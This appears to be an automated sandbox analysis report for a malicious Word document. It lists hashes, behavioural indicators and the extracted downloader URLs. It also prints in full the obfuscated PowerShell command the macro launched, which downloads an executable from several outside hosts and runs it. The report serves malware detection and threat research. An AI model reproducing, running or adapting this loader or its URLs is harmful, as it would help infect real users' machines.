Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19-09-2024 20:45
Behavioral task
behavioral1
Sample
26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5.doc
Resource
win7-20240903-en
General
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Target
26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5.doc
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Size
203KB
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MD5
3f27a3e06a8dbeb16ecf0dde173d1924
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SHA1
a1a679288523857f1d304a7d4ce08f2c3cfc9a37
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SHA256
26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5
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SHA512
923b28f1acf8cac626f683bc98e116ed304b6b8f5e4f38026d955dda3a91829a73d7fcc45c6be19908fb07dc2d173b30e6b2721d14cb58f0271aa3328f557dad
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SSDEEP
6144:P8AO4pC8pN7tpTBOI+VHSfXTWMfHaR5f:0AO16ZPTWM/aR
Malware Config
Extracted
http://krems-bedachungen.de/fyKDV/
http://4glory.net/btKzNVlg/
http://angelabphotography.com/4hR1e/
http://dekormc.pl/js/ncrILdi/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1760 1980 Powershell.exe 30 -
Blocklisted process makes network request 6 IoCs
flow pid Process 5 1760 Powershell.exe 6 1760 Powershell.exe 7 1760 Powershell.exe 9 1760 Powershell.exe 11 1760 Powershell.exe 14 1760 Powershell.exe -
pid Process 1760 Powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1980 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1760 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1760 Powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1980 WINWORD.EXE 1980 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1980 wrote to memory of 3008 1980 WINWORD.EXE 31 PID 1980 wrote to memory of 3008 1980 WINWORD.EXE 31 PID 1980 wrote to memory of 3008 1980 WINWORD.EXE 31 PID 1980 wrote to memory of 3008 1980 WINWORD.EXE 31 PID 1980 wrote to memory of 1760 1980 WINWORD.EXE 32 PID 1980 wrote to memory of 1760 1980 WINWORD.EXE 32 PID 1980 wrote to memory of 1760 1980 WINWORD.EXE 32 PID 1980 wrote to memory of 1760 1980 WINWORD.EXE 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\26de80e3bbbe1f053da4131ca7a405644b7443356ec97d48517f1ab86d5f1ca5.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3008
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exePowershell (('(Jxu3Jxu+JxuhJxu+JxuRnsJxu+JxuaJxu'+'+JxudJxu+Jxuasd = &(efpnefp+efpJx'+'u+Jxueefp+'+'efJxu+JxupJxu+Jxuw-objeceJxu+'+'JxufJxu+JxupJxu+Jxu+eJxu+J'+'xufptefp) random;3Jxu+JxuhJxu+JxuRYJxu+J'+'xuYJxu+Jx'+'uU =Jxu+Jxu Jxu+Jxu.Jxu+Jxu(Jxu+JxuefpnJxu+JxueJxu+Jxue'+'fp+efJxu+JxupJxu+JxuwJxu+Jx'+'uefpJxu+Jxu+eJxu+Jxufp-objecteJxu+Jxufp) Sy'+'sJxu+Jxutem'+'.Net.WebClJxu+JxuieJxu+JxuntJx'+'u+Jxu;3Jxu+JxuhRJxu+Jx'+'uNJxu+JxuSB = 3Jxu+JxuhRJxu+JxunJxu+JxusadJxu+JxuasdJxu+J'+'xu.neJx'+'u+JxuxJxu+JxutJxu+Jxu(Jxu+Jxu10000Jxu+Jxu,Jx'+'u+Jx'+'u 28213Jxu+Jxu3)Jxu+Jxu;Jxu+Jxu3hRADJxu+Jxu'+'C'+'XJxu+Jxu Jxu+'+'Jx'+'u= '+'ef'+'p http:/Jxu+Jxu/lg'+'lab.Jxu+Jxuco.Jxu+JxuukJxu+Jxu/vsiJxu+Jxu6YDJxu+JxurX/@hJxu+JxuttJxu+Jxup://Jxu+JxukJxu+JxureJxu'+'+JxumJxu+'+'JxusJxu+Jxu-beJxu+JxudaJxu+JxuchungenJxu+Jxu.Jxu+JxudeJxu+Jx'+'u/Jxu+JxufyKDVJxu+Jxu/Jxu+Jxu@http:Jxu+Jx'+'u//4glorJxu+Jxuy.net/bJxu+J'+'xutKzJxu+JxuNVlg/@Jxu+JxuhttpJxu+Jx'+'u://aJxu+JxungelJxu+JxuabphotogJxu+Jxuraph'+'y.Jxu+JxucJxu+JxuomJxu+Jxu/Jxu+Jxu4hJxu+Jxu'+'R1eJxu+Jxu/@htJxu'+'+JxutJxu+Jxup:Jxu+Jxu//dekormJxu+Jxuc.Jxu+JxupJxu+JxulJxu+Jxu/J'+'xu+Jxujs/Jxu+JxuncrJxu+JxuILdiJxu+Jxu/eJxu+Jxufp.SJxu+JxupJxu+Jxulit(efpJxu+Jx'+'u@eJxu+Jxufp);Jxu+Jxu3hRSDC = 3Jxu+JxuhRenvJxu'+'+Jxu:publiJxu+JxucJ'+'xu+Jxu + efJxu+'+'Jxup7FMJxu+J'+'xuefpJxu+Jxu + Jxu+Jxu3hRN'+'SB Jxu+Jxu+Jxu+Jxu'+' (Jxu+JxuefpJxu+Jxu.exefp+Jxu+JxueJxu+JxufJ'+'xu+JxupeJxu+JxuefJxu+Jxup);foJxu+JxurJxu+JxueacJxu+Jxuh(Jxu+Jxu3hRasfc iJxu+JxunJxu+Jxu 3hJxu+JxuRADJxu+'+'JxuCX)Jxu+Jxu{Jx'+'u+JxutJxu+Jxur'+'Jxu+Jxuy{3hRYYU.EJxu+JxuLBJxu+JxuDoJx'+'u+JxuTY0W'+'nlT'+'Y0OadFITJxu+JxuYJxu+Jxu0lJxu+JxueEJxu+JxuLJxu+JxuB(3hRasfc.E'+'LBToStJxu+JxurTJxu+JxuYJxu+Jxu0Jxu+JxuiTJxu+JxuYJxu+Jxu0NgELJxu+JxuBJxu+Jxu()Jxu+Jxu, 3Jxu+JxuhRSDC);&(efpInvJxu+JxuoefpJxu+Jxu+efpkeJxu+'+'Jxuf'+'p+efp'+'e-It'+'emeJxu+JxufpJxu+'+'Jxu)Jxu+Jxu(3hJxu+JxuRSJx'+'u+JxuDCJxu+Jxu);breakJxu+Jxu;Jxu+Jxu}catch{}Jxu+Jxu}Jxu).R'+'EpLACe(Jxu7FMJxu,JxuD2cJxu).REpLACe(JxuefpJxu,[STRinG][Char]39).REpLACe('+'Jxu3h'+'RJxu,Jxus'+'uKJxu).REpLACe(JxuELBJxu,[STRinG][Char]34).REpLACe(JxuTY0Jxu,[STRinG][Char]96) tMo. ( suKPshOme[4]+suKPSHoMe[30]+JxuxJxu)')-CreplaCE 'tMo',[cHar]124-CreplaCE 'Jxu',[cHar]39-rEPlAcE 'suK',[cHar]36 -rEPlAcE ([cHar]68+[cHar]50+[cHar]99),[cHar]92) |.( $SHELLID[1]+$sHELlID[13]+'X')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
19KB
MD567e39e6e9e7d3db1a2b41c8958ad0ac8
SHA1b10f6477ee0ed97b9c5d0d9b4407dd84edf85680
SHA2568b7fada166862a58076f141dad2bec2c0fda0f6492af303b8349e2df1e67e24f
SHA512614ace177f6d02c71a9d6be0767592b03eee7b294ab34df513a58e469f6c2b63373499940514b3adb5a6071eba6ab305045f216a2e16cb493ce9360c7d01300d